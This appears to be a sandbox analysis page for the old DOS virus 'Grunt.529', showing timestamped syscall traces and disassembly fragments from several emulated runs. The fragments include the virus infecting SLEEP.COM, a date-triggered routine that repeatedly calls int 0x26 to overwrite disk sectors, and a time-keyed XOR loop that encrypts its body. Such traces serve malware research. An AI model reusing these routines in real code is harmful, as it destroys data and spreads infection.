Sample viewer

vx.netlux.org/Virus.DOS.Grunt.529

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T23:10:23.766097884Z 61 PC: 12c68 | Open file (Filename = 'TBFILXXX')
2018-12-17T23:10:23.774033555Z 26 PC: 12c44 | Set disk transfer address
2018-12-17T23:10:23.775249139Z 71 PC: 12b38 | Get current directory
2018-12-17T23:10:23.779002119Z 78 PC: 12b48 | Find first file
2018-12-17T23:10:23.786189522Z 42 PC: 12b5d | Get date 0x12b5d: cmp cx, 0x7c9
0x12b61: jb 0x12b8d
0x12b63: cmp al, 5
0x12b65: jne 0x12b8d
0x12b67: mov ah, 9
0x12b69: lea dx, word ptr [bp + 0x172]
0x12b6d: int 0x21
0x12b6f: int 0x20
0x12b71: mov ah, 0x2c
0x12b73: int 0x21
0x12b75: mov cx, dx
0x12b77: mov al, 2
0x12b79: mov dx, 1
0x12b7c: int 0x26
0x12b7e: jb 0x12b83
0x12b80: add sp, 2
0x12b83: inc al
0x12b85: cmp al, 4
0x12b87: je 0x12b8b
0x12b89: jmp 0x12b67
2018-12-17T23:10:23.789139365Z 61 PC: 12b96 | Open file (Filename = 'SLEEP.COM')
2018-12-17T23:10:23.796675544Z 63 PC: 12ba2 | Read file or device (Read 3 bytes on handle 5)
2018-12-17T23:10:23.804145845Z 66 PC: 12c4c | Move file pointer
2018-12-17T23:10:23.806439028Z 64 PC: 12bd4 | Write file or device (Write 3 bytes on handle 5)
2018-12-17T23:10:23.809842372Z 66 PC: 12c4c | Move file pointer
2018-12-17T23:10:23.811854746Z 44 PC: 12bdd | Get time 0x12bdd: mov word ptr ds:[bp + 0x30e], dx
0x12be2: call 0x22a83
0x12be5: push bx
0x12be6: push cx
0x12be7: push dx
0x12be8: mov dx, word ptr ds:[bp + 0x30e]
0x12bed: lea bx, word ptr [bp + 0x381]
0x12bf1: mov cx, 0xea
0x12bf4: xor word ptr [bx], dx
0x12bf6: add bx, 2
0x12bf9: loop 0x12bf4
0x12bfb: pop dx
0x12bfc: pop cx
0x12bfd: pop bx
0x12bfe: mov ah, 0x40
0x12c00: mov cx, 0x38
0x12c03: lea dx, word ptr [bp + 0x103]
0x12c07: int 0x21
0x12c09: mov ah, 0x40
0x12c0b: mov cx, 0x1d3
2018-12-17T23:10:23.818659747Z 64 PC: 12c09 | Write file or device (Write 56 bytes on handle 5)
2018-12-17T23:10:23.822073154Z 64 PC: 12c14 | Write file or device (Write 467 bytes on handle 5)
2018-12-17T23:10:23.839049047Z 64 PC: 12c1f | Write file or device (Write 6 bytes on handle 5)
2018-12-17T23:10:23.843715032Z 87 PC: 12c2e | Get or set file date and time
2018-12-17T23:10:23.845597033Z 62 PC: 12c32 | Close file
2018-12-17T23:10:23.854600475Z 59 PC: 12c3d | Change current directory
2018-12-17T23:10:23.859864529Z 26 PC: 12c44 | Set disk transfer address
2018-12-17T23:10:23.861553091Z 9 PC: 12a47 | Display string (String= 'Stoopid GRUNT-4 Dropper!')

{"DateBased":true,"Day":1,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":16843,"SideJobID":0}

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T12:54:02.01265164Z 61 PC: 12c68 | Open file (Filename = 'TBFILXXX')
2018-12-25T12:54:02.023782574Z 26 PC: 12c44 | Set disk transfer address
2018-12-25T12:54:02.030700201Z 71 PC: 12b38 | Get current directory
2018-12-25T12:54:02.034126458Z 78 PC: 12b48 | Find first file
2018-12-25T12:54:02.040909547Z 42 PC: 12b5d | Get date 0x12b5d: cmp cx, 0x7c9
0x12b61: jb 0x12b8d
0x12b63: cmp al, 5
0x12b65: jne 0x12b8d
0x12b67: mov ah, 9
0x12b69: lea dx, word ptr [bp + 0x172]
0x12b6d: int 0x21
0x12b6f: int 0x20
0x12b71: mov ah, 0x2c
0x12b73: int 0x21
0x12b75: mov cx, dx
0x12b77: mov al, 2
0x12b79: mov dx, 1
0x12b7c: int 0x26
0x12b7e: jb 0x12b83
0x12b80: add sp, 2
0x12b83: inc al
0x12b85: cmp al, 4
0x12b87: je 0x12b8b
0x12b89: jmp 0x12b67
2018-12-25T12:54:02.043993347Z 61 PC: 12b96 | Open file (Filename = 'SLEEP.COM')
2018-12-25T12:54:02.052211901Z 63 PC: 12ba2 | Read file or device (Read 3 bytes on handle 5)
2018-12-25T12:54:02.059607065Z 66 PC: 12c4c | Move file pointer
2018-12-25T12:54:02.064841046Z 64 PC: 12bd4 | Write file or device (Write 3 bytes on handle 5)
2018-12-25T12:54:02.068339505Z 66 PC: 12c4c | Move file pointer (See above)
2018-12-25T12:54:02.07844813Z 44 PC: 12bdd | Get time 0x12bdd: mov word ptr ds:[bp + 0x30e], dx
0x12be2: call 0x22a83
0x12be5: push bx
0x12be6: push cx
0x12be7: push dx
0x12be8: mov dx, word ptr ds:[bp + 0x30e]
0x12bed: lea bx, word ptr [bp + 0x381]
0x12bf1: mov cx, 0xea
0x12bf4: xor word ptr [bx], dx
0x12bf6: add bx, 2
0x12bf9: loop 0x12bf4
0x12bfb: pop dx
0x12bfc: pop cx
0x12bfd: pop bx
0x12bfe: mov ah, 0x40
0x12c00: mov cx, 0x38
0x12c03: lea dx, word ptr [bp + 0x103]
0x12c07: int 0x21
0x12c09: mov ah, 0x40
0x12c0b: mov cx, 0x1d3
2018-12-25T12:54:02.08615154Z 64 PC: 12c09 | Write file or device (Write 56 bytes on handle 5)
2018-12-25T12:54:02.089585464Z 64 PC: 12c14 | Write file or device (Write 467 bytes on handle 5)
2018-12-25T12:54:02.116441178Z 64 PC: 12c1f | Write file or device (Write 6 bytes on handle 5)
2018-12-25T12:54:02.119886295Z 87 PC: 12c2e | Get or set file date and time
2018-12-25T12:54:02.122240863Z 62 PC: 12c32 | Close file
2018-12-25T12:54:02.131305642Z 59 PC: 12c3d | Change current directory
2018-12-25T12:54:02.136682104Z 26 PC: 12c44 | Set disk transfer address (See above)
2018-12-25T12:54:02.138720247Z 9 PC: 12a47 | Display string (String= 'Stoopid GRUNT-4 Dropper!')

{"DateBased":true,"Day":1,"Month":1,"Year":1993,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":16843,"SideJobID":0}

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T12:54:02.032245905Z 61 PC: 12c68 | Open file (Filename = 'TBFILXXX')
2018-12-25T12:54:02.048672198Z 26 PC: 12c44 | Set disk transfer address
2018-12-25T12:54:02.050348257Z 71 PC: 12b38 | Get current directory
2018-12-25T12:54:02.052504432Z 78 PC: 12b48 | Find first file
2018-12-25T12:54:02.056594706Z 42 PC: 12b5d | Get date 0x12b5d: cmp cx, 0x7c9
0x12b61: jb 0x12b8d
0x12b63: cmp al, 5
0x12b65: jne 0x12b8d
0x12b67: mov ah, 9
0x12b69: lea dx, word ptr [bp + 0x172]
0x12b6d: int 0x21
0x12b6f: int 0x20
0x12b71: mov ah, 0x2c
0x12b73: int 0x21
0x12b75: mov cx, dx
0x12b77: mov al, 2
0x12b79: mov dx, 1
0x12b7c: int 0x26
0x12b7e: jb 0x12b83
0x12b80: add sp, 2
0x12b83: inc al
0x12b85: cmp al, 4
0x12b87: je 0x12b8b
0x12b89: jmp 0x12b67
2018-12-25T12:54:02.065724276Z 9 PC: 12b6f | Display string (String= 'Nothing like the smell of napalm in the morning!')

{"DateBased":true,"Day":2,"Month":1,"Year":1993,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":16843,"SideJobID":0}

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T12:54:03.747479466Z 61 PC: 12c68 | Open file (Filename = 'TBFILXXX')
2018-12-25T12:54:03.769242852Z 26 PC: 12c44 | Set disk transfer address
2018-12-25T12:54:03.784686622Z 71 PC: 12b38 | Get current directory
2018-12-25T12:54:03.787841999Z 78 PC: 12b48 | Find first file
2018-12-25T12:54:03.794705655Z 42 PC: 12b5d | Get date 0x12b5d: cmp cx, 0x7c9
0x12b61: jb 0x12b8d
0x12b63: cmp al, 5
0x12b65: jne 0x12b8d
0x12b67: mov ah, 9
0x12b69: lea dx, word ptr [bp + 0x172]
0x12b6d: int 0x21
0x12b6f: int 0x20
0x12b71: mov ah, 0x2c
0x12b73: int 0x21
0x12b75: mov cx, dx
0x12b77: mov al, 2
0x12b79: mov dx, 1
0x12b7c: int 0x26
0x12b7e: jb 0x12b83
0x12b80: add sp, 2
0x12b83: inc al
0x12b85: cmp al, 4
0x12b87: je 0x12b8b
0x12b89: jmp 0x12b67
2018-12-25T12:54:03.797945139Z 61 PC: 12b96 | Open file (Filename = 'SLEEP.COM')
2018-12-25T12:54:03.806138454Z 63 PC: 12ba2 | Read file or device (Read 3 bytes on handle 5)
2018-12-25T12:54:03.813636525Z 66 PC: 12c4c | Move file pointer
2018-12-25T12:54:03.816812838Z 64 PC: 12bd4 | Write file or device (Write 3 bytes on handle 5)
2018-12-25T12:54:03.820311832Z 66 PC: 12c4c | Move file pointer (See above)
2018-12-25T12:54:03.822421619Z 44 PC: 12bdd | Get time 0x12bdd: mov word ptr ds:[bp + 0x30e], dx
0x12be2: call 0x22a83
0x12be5: push bx
0x12be6: push cx
0x12be7: push dx
0x12be8: mov dx, word ptr ds:[bp + 0x30e]
0x12bed: lea bx, word ptr [bp + 0x381]
0x12bf1: mov cx, 0xea
0x12bf4: xor word ptr [bx], dx
0x12bf6: add bx, 2
0x12bf9: loop 0x12bf4
0x12bfb: pop dx
0x12bfc: pop cx
0x12bfd: pop bx
0x12bfe: mov ah, 0x40
0x12c00: mov cx, 0x38
0x12c03: lea dx, word ptr [bp + 0x103]
0x12c07: int 0x21
0x12c09: mov ah, 0x40
0x12c0b: mov cx, 0x1d3
2018-12-25T12:54:03.829050598Z 64 PC: 12c09 | Write file or device (Write 56 bytes on handle 5)
2018-12-25T12:54:03.832408468Z 64 PC: 12c14 | Write file or device (Write 467 bytes on handle 5)
2018-12-25T12:54:03.85335207Z 64 PC: 12c1f | Write file or device (Write 6 bytes on handle 5)
2018-12-25T12:54:03.865924117Z 87 PC: 12c2e | Get or set file date and time
2018-12-25T12:54:03.867875247Z 62 PC: 12c32 | Close file
2018-12-25T12:54:03.877117211Z 59 PC: 12c3d | Change current directory
2018-12-25T12:54:03.882007791Z 26 PC: 12c44 | Set disk transfer address (See above)
2018-12-25T12:54:03.884259679Z 9 PC: 12a47 | Display string (String= 'Stoopid GRUNT-4 Dropper!')